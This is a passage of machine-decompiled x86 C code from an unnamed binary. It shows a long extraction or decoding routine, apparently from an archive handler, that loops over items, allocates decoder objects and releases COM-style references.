				signed int _t548;
				signed int _t560;
				signed char _t562;
				signed int _t563;
				signed int _t565;
				signed int _t569;
				signed int _t570;
				signed int _t577;
				signed int _t578;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				signed int _t582;
				signed int _t589;
				signed int _t598;
				signed int _t602;
				signed int _t627;
				signed int _t631;
				signed int _t636;
				signed int _t640;
				signed int _t641;
				signed int _t643;
				signed int _t645;
				signed int _t646;
				signed int _t647;
				signed int _t655;
				signed int _t657;
				signed int _t661;
				signed int _t663;
				signed int _t664;
				signed int _t665;
				signed int _t666;
				signed int _t667;
				signed int _t674;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t679;
				signed int _t680;
				signed int _t681;
				signed char _t691;
				signed char _t692;
				intOrPtr* _t694;
				signed int _t696;
				signed int _t698;
				signed int _t701;
				signed int _t703;
				signed int _t706;
				signed int _t712;
				signed int _t717;
				void* _t723;
				signed int _t727;
				signed int _t734;
				signed int _t742;
				signed int _t746;
				signed int _t747;
				signed int _t748;
				signed int _t749;
				signed int _t750;
				signed int _t751;
				signed int _t768;
				intOrPtr* _t775;
				intOrPtr _t776;
				signed int _t777;
				void* _t779;
				signed int _t781;
				signed int _t783;
				signed int _t787;
				signed int* _t801;
				signed int _t807;
				intOrPtr _t833;
				signed int _t836;
				signed int _t840;
				signed int _t872;
				signed int _t876;
				signed int _t880;
				signed char _t890;
				intOrPtr _t909;
				signed int _t925;
				signed int _t926;
				signed int _t935;
				intOrPtr _t938;
				signed int _t939;
				intOrPtr* _t940;
				intOrPtr* _t941;
				signed int _t945;
				signed int _t946;
				signed int _t947;
				signed int _t949;
				intOrPtr _t950;
				intOrPtr* _t952;
				intOrPtr _t954;
				intOrPtr _t956;
				intOrPtr _t958;
				void* _t959;
				void* _t961;

				L0046B890(0x477da9, _t959);
				_t935 = 0;
				 *((intOrPtr*)(_t959 - 0x10)) = _t961 - 0x98;
				 *(_t959 - 4) = 0;
				 *((char*)(_t959 - 0x21)) =  *((intOrPtr*)(_t959 + 0x10)) == 0xffffffff;
				if( *((char*)(_t959 - 0x21)) != 0) {
					 *((intOrPtr*)(_t959 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(_t959 + 8)) + 0x24));
				}
				if( *((intOrPtr*)(_t959 + 0x10)) == _t935) {
					L205:
					_t538 = 0;
					goto L41;
				} else {
					 *(_t959 - 0x3c) = _t935;
					 *(_t959 - 0x38) = _t935;
					 *(_t959 + 0x14) = 0xfffffffe;
					 *(_t959 - 0x90) =  *(_t959 + 0x14) != _t935;
					_t539 = 0;
					while(1) {
						 *(_t959 - 0x44) = _t539;
						if(_t539 >=  *((intOrPtr*)(_t959 + 0x10))) {
							break;
						}
						if( *((char*)(_t959 - 0x21)) == 0) {
							_t539 =  *( *((intOrPtr*)(_t959 + 0xc)) + _t539 * 4);
						}
						_t909 =  *((intOrPtr*)(_t959 + 8));
						_t765 =  *((intOrPtr*)(_t909 + 0x28)) + _t539 * 8;
						_t958 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x14)) +  *( *((intOrPtr*)(_t909 + 0x28)) + _t539 * 8) * 4)) + 0x70)) + ( *((intOrPtr*)(_t909 + 0x28)) + _t539 * 8)[1] * 4));
						if(( *(_t958 + 0x1c) >> 0x00000004 & 0x00000001) == 0) {
							_t768 = E00434147( *((intOrPtr*)(_t959 + 8)) + 8, _t765);
							if(_t768 !=  *(_t959 + 0x14)) {
								 *(_t959 - 0x3c) =  *(_t959 - 0x3c) + _t935;
								asm("adc [ebp-0x38], ebx");
							}
							 *(_t959 + 0x14) = _t768;
							_t935 =  *((intOrPtr*)(_t958 + 0x10)) +  *((intOrPtr*)(_t958 + 0xc));
							asm("adc ebx, ecx");
						}
						_t539 =  *(_t959 - 0x44) + 1;
					}
					 *(_t959 - 0x3c) =  *(_t959 - 0x3c) + _t935;
					asm("adc [ebp-0x38], ebx");
					_t775 =  *((intOrPtr*)(_t959 + 0x18));
					 *((intOrPtr*)( *_t775 + 0xc))(_t775,  *(_t959 - 0x3c),  *(_t959 - 0x38));
					_push(0x38);
					 *(_t959 - 0x3c) = 0;
					 *(_t959 - 0x38) = 0;
					 *((intOrPtr*)(_t959 - 0x8c)) = 0;
					 *((intOrPtr*)(_t959 - 0x88)) = 0;
					_t787 = L004079F2();
					 *(_t959 + 0x14) = _t787;
					__eflags = _t787;
					 *(_t959 - 4) = 1;
					if(_t787 == 0) {
						_t945 = 0;
						__eflags = 0;
					} else {
						_t945 = L0040F3E5(_t787);
					}
					 *(_t959 - 4) =  *(_t959 - 4) & 0x00000000;
					__eflags = _t945;
					 *(_t959 - 0x98) = _t945;
					 *(_t959 - 0x2c) = _t945;
					if(_t945 != 0) {
						 *((intOrPtr*)( *_t945 + 4))(_t945);
					}
					_push(0);
					 *(_t959 - 4) = 2;
					L0040F478(_t945, _t775);
					_push(0x18);
					_t544 = L004079F2();
					__eflags = _t544;
					if(_t544 == 0) {
						_t544 = 0;
						__eflags = 0;
					} else {
						 *((intOrPtr*)(_t544 + 4)) = 0x47b080;
						 *((intOrPtr*)(_t544 + 8)) = 0;
						 *((intOrPtr*)(_t544 + 0x10)) = 0;
						 *((intOrPtr*)(_t544 + 0xc)) = 0;
						 *((intOrPtr*)(_t544 + 0x14)) = 0;
						 *_t544 = 0x47b070;
						 *((intOrPtr*)(_t544 + 4)) = 0x47b060;
					}
					__eflags = _t544;
					 *(_t959 - 0x28) = _t544;
					if(_t544 != 0) {
						 *((intOrPtr*)( *_t544 + 4))(_t544);
					}
					 *(_t959 - 0x94) = 0;
					 *(_t959 - 0x20) = 0;
					 *(_t959 - 0x58) = 0;
					 *(_t959 - 0x1c) = 0;
					 *(_t959 - 0x5c) = 0;
					 *(_t959 - 0x18) = 0;
					_push(0x24);
					 *(_t959 - 4) = 6;
					_t545 = L004079F2();
					 *(_t959 + 0x14) = _t545;
					__eflags = _t545;
					 *(_t959 - 4) = 7;
					if(_t545 == 0) {
						_t946 = 0;
						__eflags = 0;
					} else {
						_t946 = E00435A6A(_t545);
					}
					__eflags = _t946;
					 *(_t959 - 0x50) = _t946;
					 *(_t959 - 4) = 6;
					 *(_t959 - 0x14) = _t946;
					if(_t946 != 0) {
						 *((intOrPtr*)( *_t946 + 4))(_t946);
					}
					 *(_t959 - 4) = 8;
					_t546 = L004339CC(_t946);
					__eflags = _t546;
					if(_t546 != 0) {
						E00404AD0(_t959 - 0x84, 1);
						 *((intOrPtr*)(_t959 - 0x84)) = 0x47ab08;
						 *(_t959 - 4) = 9;
						 *(_t959 - 0x44) = 0;
						while(1) {
							L43:
							_t548 =  *(_t959 - 0x44);
							__eflags = _t548 -  *((intOrPtr*)(_t959 + 0x10));
							if(_t548 >=  *((intOrPtr*)(_t959 + 0x10))) {
								break;
							}
							__eflags =  *((char*)(_t959 - 0x21));
							if( *((char*)(_t959 - 0x21)) == 0) {
								_t947 =  *( *((intOrPtr*)(_t959 + 0xc)) +  *(_t959 - 0x44) * 4);
							} else {
								_t947 = _t548;
							}
							_t938 =  *((intOrPtr*)(_t959 + 8));
							 *(_t959 - 0x44) =  *(_t959 - 0x44) + 1;
							_t801 =  *((intOrPtr*)(_t938 + 0x28)) + _t947 * 8;
							 *(_t959 - 0xa0) = _t801;
							_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x14)) +  *_t801 * 4));
							_t560 =  *( *((intOrPtr*)(_t776 + 0x70)) + _t801[1] * 4);
							 *(_t959 - 0x48) = _t560;
							_t562 =  *(_t560 + 0x1c) >> 4;
							__eflags = _t562 & 0x00000001;
							if((_t562 & 0x00000001) == 0) {
								_t563 = E00434147(_t938 + 8, _t801);
								__eflags = _t563;
								 *(_t959 - 0x54) = _t563;
								if(_t563 >= 0) {
									_t565 =  *( *((intOrPtr*)(_t938 + 0x50)) +  *(_t959 - 0x54) * 4);
									 *(_t959 - 0x60) = _t565;
									 *(_t959 + 0x14) = _t565;
									E0040862D();
									while(1) {
										__eflags =  *(_t959 + 0x14) - _t947;
										if( *(_t959 + 0x14) >= _t947) {
											break;
										}
										E0043AC2F(_t959 - 0x84, 0);
										 *(_t959 + 0x14) =  *(_t959 + 0x14) + 1;
									}
									E0043AC2F(_t959 - 0x84, 1);
									 *(_t959 + 0x14) =  *(_t959 + 0x14) + 1;
									_t569 =  *((intOrPtr*)( *(_t959 - 0x48) + 0x10)) +  *((intOrPtr*)( *(_t959 - 0x48) + 0xc));
									__eflags = _t569;
									asm("adc ecx, esi");
									 *(_t959 - 0x68) = _t569;
									 *((intOrPtr*)(_t959 - 0x64)) = 0;
									while(1) {
										_t570 =  *(_t959 - 0x44);
										__eflags = _t570 -  *((intOrPtr*)(_t959 + 0x10));
										if(_t570 >=  *((intOrPtr*)(_t959 + 0x10))) {
											break;
										}
										__eflags =  *((char*)(_t959 - 0x21));
										if( *((char*)(_t959 - 0x21)) == 0) {
											_t570 =  *( *((intOrPtr*)(_t959 + 0xc)) + _t570 * 4);
										}
										 *(_t959 - 0x4c) = _t570;
										_t722 =  *((intOrPtr*)(_t938 + 0x28)) +  *(_t959 - 0x4c) * 8;
										_t956 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x14)) +  *( *((intOrPtr*)(_t938 + 0x28)) +  *(_t959 - 0x4c) * 8) * 4)) + 0x70)) + ( *((intOrPtr*)(_t938 + 0x28)) +  *(_t959 - 0x4c) * 8)[1] * 4));
										_t890 =  *(_t956 + 0x1c) >> 4;
										__eflags = _t890 & 0x00000001;
										if((_t890 & 0x00000001) != 0) {
											L90:
											 *(_t959 - 0x44) =  *(_t959 - 0x44) + 1;
											continue;
										} else {
											_t723 = E00434147(_t938 + 8, _t722);
											__eflags = _t723 -  *(_t959 - 0x54);
											if(_t723 !=  *(_t959 - 0x54)) {
												break;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags =  *(_t959 + 0x14) -  *(_t959 - 0x4c);
												if( *(_t959 + 0x14) >=  *(_t959 - 0x4c)) {
													break;
												}
												E0043AC2F(_t959 - 0x84, 0);
												 *(_t959 + 0x14) =  *(_t959 + 0x14) + 1;
											}
											E0043AC2F(_t959 - 0x84, 1);
											 *(_t959 + 0x14) =  *(_t959 + 0x14) + 1;
											_t727 =  *((intOrPtr*)(_t956 + 0x10)) +  *((intOrPtr*)(_t956 + 0xc));
											__eflags = _t727;
											asm("adc ecx, esi");
											 *(_t959 - 0x68) = _t727;
											 *((intOrPtr*)(_t959 - 0x64)) = 0;
											goto L90;
										}
									}
									_t807 =  *(_t959 - 0x98);
									 *(_t807 + 0x28) =  *(_t959 - 0x3c);
									 *(_t807 + 0x2c) =  *(_t959 - 0x38);
									 *((intOrPtr*)(_t807 + 0x20)) =  *((intOrPtr*)(_t959 - 0x8c));
									 *((intOrPtr*)(_t807 + 0x24)) =  *((intOrPtr*)(_t959 - 0x88));
									_t949 = L0040F554(_t807);
									__eflags = _t949;
									if(_t949 != 0) {
										goto L52;
									}
									_push(0x50);
									_t589 = L004079F2();
									__eflags = _t589;
									if(_t589 == 0) {
										_t939 = 0;
										__eflags = 0;
									} else {
										_t939 = _t589;
										 *((intOrPtr*)(_t589 + 4)) = 0;
										 *((intOrPtr*)(_t589 + 0x10)) = 0;
										 *((intOrPtr*)(_t589 + 0x2c)) = 0;
										 *((intOrPtr*)(_t589 + 0x34)) = 0;
										 *_t589 = 0x47b460;
									}
									__eflags = _t939;
									 *(_t959 - 0x34) = _t939;
									if(_t939 != 0) {
										 *((intOrPtr*)( *_t939 + 4))(_t939);
									}
									 *(_t959 - 4) = 0xc;
									_t950 =  *((intOrPtr*)( *((intOrPtr*)(_t776 + 0x5c)) + E00434120( *(_t959 - 0x48),  *((intOrPtr*)(_t776 + 0x58))) * 4));
									E00434705(_t939,  *((intOrPtr*)(_t959 + 8)) + 8, _t959 - 0x84,  *(_t959 - 0x60),  *(_t959 - 0x68),  *((intOrPtr*)(_t959 - 0x64)),  *((intOrPtr*)(_t959 + 0x18)),  *(_t959 - 0x90));
									 *( *(_t959 - 0x50) + 0x21) =  *( *(_t959 - 0x50) + 0x21) & 0x00000000;
									_t598 =  *(_t950 + 6) & 0x0000000f;
									__eflags = _t598;
									if(_t598 == 0) {
										L124:
										 *((intOrPtr*)( *(_t959 - 0x50) + 0x18)) = 0;
										 *(_t959 - 0x40) = 0;
										 *(_t959 - 0x4c) =  *( *(_t959 - 0xa0));
										_t602 = E00434120( *(_t959 - 0x48),  *((intOrPtr*)(_t776 + 0x58)));
										 *(_t959 + 0x17) =  *(_t959 + 0x17) & 0x00000000;
										_t324 = _t959 - 0x2d;
										 *_t324 =  *(_t959 - 0x2d) & 0x00000000;
										__eflags =  *_t324;
										 *(_t959 - 0x60) = _t602;
										 *(_t959 - 0x48) = 0;
										while(1) {
											asm("sbb ecx, [edi+0x4c]");
											__eflags =  *((intOrPtr*)(_t939 + 0x40)) -  *((intOrPtr*)(_t939 + 0x48)) |  *(_t939 + 0x44);
											if(( *((intOrPtr*)(_t939 + 0x40)) -  *((intOrPtr*)(_t939 + 0x48)) |  *(_t939 + 0x44)) == 0) {
												break;
											}
											_t833 =  *((intOrPtr*)(_t959 + 8));
											__eflags =  *(_t959 - 0x4c) -  *((intOrPtr*)(_t833 + 0x10));
											if( *(_t959 - 0x4c) >=  *((intOrPtr*)(_t833 + 0x10))) {
												L200:
												_t949 = E00434C64(_t939);
												__eflags = _t949;
												if(_t949 == 0) {
													L203:
													 *(_t959 - 0x3c) =  *(_t959 - 0x3c) +  *(_t959 - 0x68);
													 *(_t959 - 4) = 9;
													asm("adc [ebp-0x38], eax");
													L0043361B(_t959 - 0x34);
													goto L43;
												}
												L201:
												 *(_t959 - 4) = 9;
												L0043361B(_t959 - 0x34);
												 *(_t959 - 4) = 8;
												E00408604(_t959 - 0x84);
												 *(_t959 - 4) = 6;
												L0043361B(_t959 - 0x14);
												 *(_t959 - 4) = 5;
												L0043361B(_t959 - 0x18);
												 *(_t959 - 4) = 4;
												L0043361B(_t959 - 0x1c);
												 *(_t959 - 4) = 3;
												L0043361B(_t959 - 0x20);
												 *(_t959 - 4) = 2;
												L0043361B(_t959 - 0x28);
												_t512 = _t959 - 4;
												 *_t512 =  *(_t959 - 4) & 0x00000000;
												__eflags =  *_t512;
												L0043361B(_t959 - 0x2c);
												goto L202;
											}
											__eflags =  *(_t959 - 0x48);
											_t952 =  *((intOrPtr*)( *((intOrPtr*)(_t833 + 0x14)) +  *(_t959 - 0x4c) * 4));
											 *(_t959 - 0x54) =  *( *((intOrPtr*)(_t952 + 0x5c)) +  *(_t959 - 0x60) * 4);
											if( *(_t959 - 0x48) != 0) {
												L133:
												_t627 =  *(_t959 - 0x54);
												_t836 =  *(_t959 - 0x50);
												__eflags =  *(_t959 - 0x48) - ( *(_t627 + 4) & 0x0000ffff);
												if( *(_t959 - 0x48) != ( *(_t627 + 4) & 0x0000ffff)) {
													 *(_t959 - 0x48) =  *(_t959 - 0x48) + 1;
													 *(_t836 + 0x20) =  *(_t836 + 0x20) & 0x00000000;
													__eflags =  *(_t959 - 0x2d);
													if(__eflags == 0) {
														_t372 = _t836 + 0x14;
														 *_t372 =  *(_t836 + 0x14) & 0x00000000;
														__eflags =  *_t372;
													}
													_t631 = L00433AD8(_t836, __eflags, _t959 - 0xa4, _t959 - 0x9c);
													__eflags = _t631 - 1;
													 *(_t959 - 0x40) = _t631;
													if(_t631 == 1) {
														break;
													} else {
														__eflags = _t631;
														if(_t631 == 0) {
															__eflags =  *(_t959 - 0x9c);
															 *(_t959 - 0x2d) =  *(_t959 - 0x9c) == 0;
															__eflags =  *(_t959 - 0x2d);
															if( *(_t959 - 0x2d) != 0) {
																continue;
															}
															_t925 =  *(_t959 - 0x98);
															asm("adc ecx, [ebp-0x38]");
															_t954 =  *((intOrPtr*)(_t959 - 0x8c)) +  *((intOrPtr*)(_t959 - 0xa4));
															_t779 = 0;
															 *((intOrPtr*)(_t925 + 0x28)) =  *((intOrPtr*)(_t939 + 0x48)) +  *(_t959 - 0x3c);
															asm("adc [ebp-0x88], ebx");
															 *((intOrPtr*)(_t925 + 0x2c)) =  *((intOrPtr*)(_t939 + 0x4c));
															 *((intOrPtr*)(_t925 + 0x20)) = _t954;
															 *((intOrPtr*)(_t959 - 0x8c)) = _t954;
															 *((intOrPtr*)(_t925 + 0x24)) =  *((intOrPtr*)(_t959 - 0x88));
															_t949 = L0040F554(_t925);
															__eflags = _t949 - _t779;
															if(_t949 == _t779) {
																_t636 =  *(_t939 + 0x44);
																_t840 =  *((intOrPtr*)(_t939 + 0x40)) -  *((intOrPtr*)(_t939 + 0x48));
																__eflags = _t840;
																asm("sbb eax, [edi+0x4c]");
																 *(_t959 - 0x70) = _t840;
																 *(_t959 - 0x6c) = _t636;
																if(_t840 != 0) {
																	L170:
																	_t840 = 0x8000;
																	_t636 = 0;
																	__eflags = 0;
																	 *(_t959 - 0x70) = 0x8000;
																	 *(_t959 - 0x6c) = 0;
																	L171:
																	_t926 =  *(_t959 - 0x9c);
																	__eflags = _t636;
																	if(__eflags < 0) {
																		L175:
																		_t640 = ( *( *(_t959 - 0x54) + 6) & 0x0000000f) - _t779;
																		__eflags = _t640;
																		if(_t640 == 0) {
																			_t641 =  *(_t959 - 0x28);
																			L183:
																			 *(_t959 - 0x40) =  *((intOrPtr*)( *_t641 + 0xc))(_t641,  *(_t959 - 0x14),  *(_t959 - 0x34), _t779, _t959 - 0x70, _t779);
																			L184:
																			__eflags =  *(_t959 - 0x40) - _t779;
																			if( *(_t959 - 0x40) == _t779) {
																				 *(_t959 + 0x17) = 1;
																				continue;
																			}
																			__eflags =  *(_t959 - 0x40) - 1;
																			if( *(_t959 - 0x40) == 1) {
																				goto L200;
																			}
																			_t643 =  *(_t959 - 0x34);
																			 *(_t959 - 4) = 9;
																			__eflags = _t643;
																			if(_t643 != 0) {
																				 *((intOrPtr*)( *_t643 + 8))(_t643);
																			}
																			 *(_t959 - 4) = 8;
																			E00408604(_t959 - 0x84);
																			_t645 =  *(_t959 - 0x14);
																			 *(_t959 - 4) = 6;
																			__eflags = _t645;
																			if(_t645 != 0) {
																				 *((intOrPtr*)( *_t645 + 8))(_t645);
																			}
																			_t646 =  *(_t959 - 0x18);
																			 *(_t959 - 4) = 5;
																			__eflags = _t646;
																			if(_t646 != 0) {
																				 *((intOrPtr*)( *_t646 + 8))(_t646);
																			}
																			_t647 =  *(_t959 - 0x1c);
																			 *(_t959 - 4) = 4;
																			__eflags = _t647;
																			if(_t647 != 0) {
																				 *((intOrPtr*)( *_t647 + 8))(_t647);
																			}
																			 *(_t959 - 4) = 3;
																			L0043361B(_t959 - 0x20);
																			 *(_t959 - 4) = 2;
																			L0043361B(_t959 - 0x28);
																			_t489 = _t959 - 4;
																			 *_t489 =  *(_t959 - 4) & 0x00000000;
																			__eflags =  *_t489;
																			L0043361B(_t959 - 0x2c);
																			L195:
																			_t538 =  *(_t959 - 0x40);
																			goto L41;
																		}
																		_t655 = _t640 - 1;
																		__eflags = _t655;
																		if(_t655 == 0) {
																			 *((char*)( *(_t959 - 0x94) + 0xd52)) =  *(_t959 + 0x17);
																			_t641 =  *(_t959 - 0x20);
																			goto L183;
																		}
																		_t657 = _t655 - 1;
																		__eflags = _t657;
																		if(_t657 == 0) {
																			 *((char*)( *(_t959 - 0x5c) + 0x84)) =  *(_t959 + 0x17);
																			_t641 =  *(_t959 - 0x18);
																			goto L183;
																		}
																		__eflags = _t657 != 1;
																		if(_t657 != 1) {
																			goto L184;
																		}
																		 *((char*)( *(_t959 - 0x58) + 0x1cb8)) =  *(_t959 + 0x17);
																		_t641 =  *(_t959 - 0x1c);
																		goto L183;
																	}
																	if(__eflags > 0) {
																		L174:
																		 *(_t959 - 0x70) = _t926;
																		 *(_t959 - 0x6c) = 0;
																		goto L175;
																	}
																	__eflags = _t840 - _t926;
																	if(_t840 <= _t926) {
																		goto L175;
																	}
																	goto L174;
																}
																__eflags = _t840 - 0x8000;
																if(_t840 <= 0x8000) {
																	goto L171;
																}
																goto L170;
															}
															_t661 =  *(_t959 - 0x34);
															 *(_t959 - 4) = 9;
															__eflags = _t661 - _t779;
															if(_t661 != _t779) {
																 *((intOrPtr*)( *_t661 + 8))(_t661);
															}
															 *(_t959 - 4) = 8;
															E00408604(_t959 - 0x84);
															_t663 =  *(_t959 - 0x14);
															 *(_t959 - 4) = 6;
															__eflags = _t663 - _t779;
															if(_t663 != _t779) {
																 *((intOrPtr*)( *_t663 + 8))(_t663);
															}
															_t664 =  *(_t959 - 0x18);
															 *(_t959 - 4) = 5;
															__eflags = _t664 - _t779;
															if(_t664 != _t779) {
																 *((intOrPtr*)( *_t664 + 8))(_t664);
															}
															_t665 =  *(_t959 - 0x1c);
															 *(_t959 - 4) = 4;
															__eflags = _t665 - _t779;
															if(_t665 != _t779) {
																 *((intOrPtr*)( *_t665 + 8))(_t665);
															}
															_t666 =  *(_t959 - 0x20);
															 *(_t959 - 4) = 3;
															__eflags = _t666 - _t779;
															if(_t666 != _t779) {
																 *((intOrPtr*)( *_t666 + 8))(_t666);
															}
															_t667 =  *(_t959 - 0x28);
															 *(_t959 - 4) = 2;
															__eflags = _t667 - _t779;
															if(_t667 != _t779) {
																 *((intOrPtr*)( *_t667 + 8))(_t667);
															}
															_t582 =  *(_t959 - 0x2c);
															 *(_t959 - 4) =  *(_t959 - 4) & 0x00000000;
															__eflags = _t582 - _t779;
															goto L63;
														}
														_t674 =  *(_t959 - 0x34);
														 *(_t959 - 4) = 9;
														__eflags = _t674;
														if(_t674 != 0) {
															 *((intOrPtr*)( *_t674 + 8))(_t674);
														}
														 *(_t959 - 4) = 8;
														E00408604(_t959 - 0x84);
														_t676 =  *(_t959 - 0x14);
														 *(_t959 - 4) = 6;
														__eflags = _t676;
														if(_t676 != 0) {
															 *((intOrPtr*)( *_t676 + 8))(_t676);
														}
														_t677 =  *(_t959 - 0x18);
														 *(_t959 - 4) = 5;
														__eflags = _t677;
														if(_t677 != 0) {
															 *((intOrPtr*)( *_t677 + 8))(_t677);
														}
														_t678 =  *(_t959 - 0x1c);
														 *(_t959 - 4) = 4;
														__eflags = _t678;
														if(_t678 != 0) {
															 *((intOrPtr*)( *_t678 + 8))(_t678);
														}
														_t679 =  *(_t959 - 0x20);
														 *(_t959 - 4) = 3;
														__eflags = _t679;
														if(_t679 != 0) {
															 *((intOrPtr*)( *_t679 + 8))(_t679);
														}
														_t680 =  *(_t959 - 0x28);
														 *(_t959 - 4) = 2;
														__eflags = _t680;
														if(_t680 != 0) {
															 *((intOrPtr*)( *_t680 + 8))(_t680);
														}
														_t681 =  *(_t959 - 0x2c);
														 *(_t959 - 4) =  *(_t959 - 4) & 0x00000000;
														__eflags = _t681;
														if(_t681 != 0) {
															 *((intOrPtr*)( *_t681 + 8))(_t681);
														}
														goto L195;
													}
												}
												 *(_t959 - 0x4c) =  *(_t959 - 0x4c) + 1;
												 *(_t959 - 0x60) =  *(_t959 - 0x60) & 0x00000000;
												 *(_t959 - 0x48) =  *(_t959 - 0x48) & 0x00000000;
												continue;
											}
											_t777 =  *(_t959 - 0x50);
											E0040C9B4(_t777 + 8,  *((intOrPtr*)(_t952 + 0x78)));
											_t691 =  *(_t952 + 0xe) >> 2;
											__eflags = _t691 & 0x00000001;
											if((_t691 & 0x00000001) == 0) {
												_t692 = 0;
												__eflags = 0;
											} else {
												_t692 =  *(_t952 + 0x17) & 0x000000ff;
											}
											 *(_t777 + 0x1c) = _t692 & 0x000000ff;
											_t694 =  *((intOrPtr*)(_t952 + 0x78));
											asm("adc ebx, [esi+0x4]");
											_t949 =  *((intOrPtr*)( *_t694 + 0x10))(_t694,  *( *(_t959 - 0x54)) +  *_t952, 0, 0, 0);
											__eflags = _t949;
											if(_t949 == 0) {
												goto L133;
											} else {
												goto L132;
											}
										}
										__eflags =  *(_t959 - 0x40);
										if( *(_t959 - 0x40) != 0) {
											goto L200;
										}
										_t949 = E004349A7(_t939);
										__eflags = _t949;
										if(_t949 != 0) {
											goto L201;
										}
										asm("sbb ecx, [edi+0x4c]");
										__eflags =  *((intOrPtr*)(_t939 + 0x40)) -  *((intOrPtr*)(_t939 + 0x48)) |  *(_t939 + 0x44);
										if(( *((intOrPtr*)(_t939 + 0x40)) -  *((intOrPtr*)(_t939 + 0x48)) |  *(_t939 + 0x44)) == 0) {
											goto L203;
										}
										goto L200;
									} else {
										_t698 = _t598 - 1;
										__eflags = _t698;
										if(_t698 == 0) {
											__eflags =  *(_t959 - 0x94);
											if( *(_t959 - 0x94) == 0) {
												_push(0xd68);
												_t872 = L004079F2();
												 *(_t959 + 0x14) = _t872;
												__eflags = _t872;
												 *(_t959 - 4) = 0xd;
												if(_t872 == 0) {
													_t701 = 0;
													__eflags = 0;
												} else {
													_t701 = E0041F0B9(_t872);
												}
												 *(_t959 - 4) = 0xc;
												 *(_t959 - 0x94) = _t701;
												E0040C9B4(_t959 - 0x20, _t701);
											}
											 *( *(_t959 - 0x50) + 0x21) = 1;
											goto L124;
										}
										_t703 = _t698 - 1;
										__eflags = _t703;
										if(_t703 == 0) {
											__eflags =  *(_t959 - 0x5c);
											if( *(_t959 - 0x5c) == 0) {
												_push(0x7b8);
												_t876 = L004079F2();
												 *(_t959 + 0x14) = _t876;
												__eflags = _t876;
												 *(_t959 - 4) = 0xf;
												if(__eflags == 0) {
													_t706 = 0;
													__eflags = 0;
												} else {
													_t706 = E004358FF(_t876, __eflags);
												}
												 *(_t959 - 4) = 0xc;
												 *(_t959 - 0x5c) = _t706;
												E0040C9B4(_t959 - 0x18, _t706);
											}
											 *( *(_t959 - 0x5c) + 0x80) =  *(_t950 + 7) & 0x000000ff;
											goto L124;
										}
										__eflags = _t703 == 1;
										if(_t703 == 1) {
											__eflags =  *(_t959 - 0x58);
											if( *(_t959 - 0x58) == 0) {
												_push(0x1cc8);
												_t880 = L004079F2();
												 *(_t959 + 0x14) = _t880;
												__eflags = _t880;
												 *(_t959 - 4) = 0xe;
												if(__eflags == 0) {
													_t712 = 0;
													__eflags = 0;
												} else {
													_t712 = E00450870(_t880, __eflags, 0);
												}
												 *(_t959 - 4) = 0xc;
												 *(_t959 - 0x58) = _t712;
												E0040C9B4(_t959 - 0x1c, _t712);
											}
											_t949 = E00451F20( *(_t959 - 0x58),  *(_t950 + 7) & 0x000000ff);
											__eflags = _t949;
											if(_t949 == 0) {
												goto L124;
											} else {
												L132:
												_t696 =  *(_t959 - 0x34);
												 *(_t959 - 4) = 9;
												goto L50;
											}
										}
										_t949 = E00434CD8(_t939);
										__eflags = _t949;
										if(_t949 != 0) {
											goto L132;
										}
										 *(_t959 - 4) = 9;
										_t285 = _t959 - 0x3c;
										 *_t285 =  *(_t959 - 0x3c) +  *(_t959 - 0x68);
										__eflags =  *_t285;
										asm("adc [ebp-0x38], eax");
										_t717 =  *(_t959 - 0x34);
										goto L103;
									}
								}
								__eflags =  *(_t959 - 0x90);
								_t781 = 0 |  *(_t959 - 0x90) != 0x00000000;
								 *(_t959 + 0x14) =  *(_t959 + 0x14) & 0x00000000;
								_t940 =  *((intOrPtr*)(_t959 + 0x18));
								 *(_t959 - 4) = 0xb;
								_t949 =  *((intOrPtr*)( *_t940 + 0x14))(_t940, _t947, _t959 + 0x14, _t781);
								__eflags = _t949;
								if(_t949 != 0) {
									L72:
									_t696 =  *(_t959 + 0x14);
									 *(_t959 - 4) = 9;
									goto L50;
								}
								_t949 =  *((intOrPtr*)( *_t940 + 0x18))(_t940, _t781);
								__eflags = _t949;
								if(_t949 == 0) {
									_t734 =  *(_t959 + 0x14);
									__eflags = _t734;
									if(_t734 != 0) {
										 *((intOrPtr*)( *_t734 + 8))(_t734);
										_t190 = _t959 + 0x14;
										 *_t190 =  *(_t959 + 0x14) & 0x00000000;
										__eflags =  *_t190;
									}
									_t949 =  *((intOrPtr*)( *_t940 + 0x1c))(_t940, 2);
									_t717 =  *(_t959 + 0x14);
									__eflags = _t949;
									 *(_t959 - 4) = 9;
									goto L76;
								}
								goto L72;
							} else {
								__eflags =  *(_t959 - 0x90);
								_t783 = 0 |  *(_t959 - 0x90) != 0x00000000;
								 *(_t959 + 0x14) =  *(_t959 + 0x14) & 0x00000000;
								_t941 =  *((intOrPtr*)(_t959 + 0x18));
								 *(_t959 - 4) = 0xa;
								_t949 =  *((intOrPtr*)( *_t941 + 0x14))(_t941, _t947, _t959 + 0x14, _t783);
								__eflags = _t949;
								if(_t949 == 0) {
									_t949 =  *((intOrPtr*)( *_t941 + 0x18))(_t941, _t783);
									__eflags = _t949;
									if(_t949 != 0) {
										goto L49;
									}
									_t742 =  *(_t959 + 0x14);
									__eflags = _t742;
									if(_t742 != 0) {
										 *((intOrPtr*)( *_t742 + 8))(_t742);
										_t169 = _t959 + 0x14;
										 *_t169 =  *(_t959 + 0x14) & _t949;
										__eflags =  *_t169;
									}
									_t949 =  *((intOrPtr*)( *_t941 + 0x1c))(_t941, 0);
									_t717 =  *(_t959 + 0x14);
									__eflags = _t949;
									 *(_t959 - 4) = 9;
									L76:
									if(__eflags == 0) {
										L103:
										__eflags = _t717;
										if(_t717 != 0) {
											 *((intOrPtr*)( *_t717 + 8))(_t717);
										}
										continue;
									}
									L50:
									__eflags = _t696;
									if(_t696 != 0) {
										 *((intOrPtr*)( *_t696 + 8))(_t696);
									}
									L52:
									 *(_t959 - 4) = 8;
									E00408604(_t959 - 0x84);
									_t577 =  *(_t959 - 0x14);
									 *(_t959 - 4) = 6;
									__eflags = _t577;
									if(_t577 != 0) {
										 *((intOrPtr*)( *_t577 + 8))(_t577);
									}
									_t578 =  *(_t959 - 0x18);
									 *(_t959 - 4) = 5;
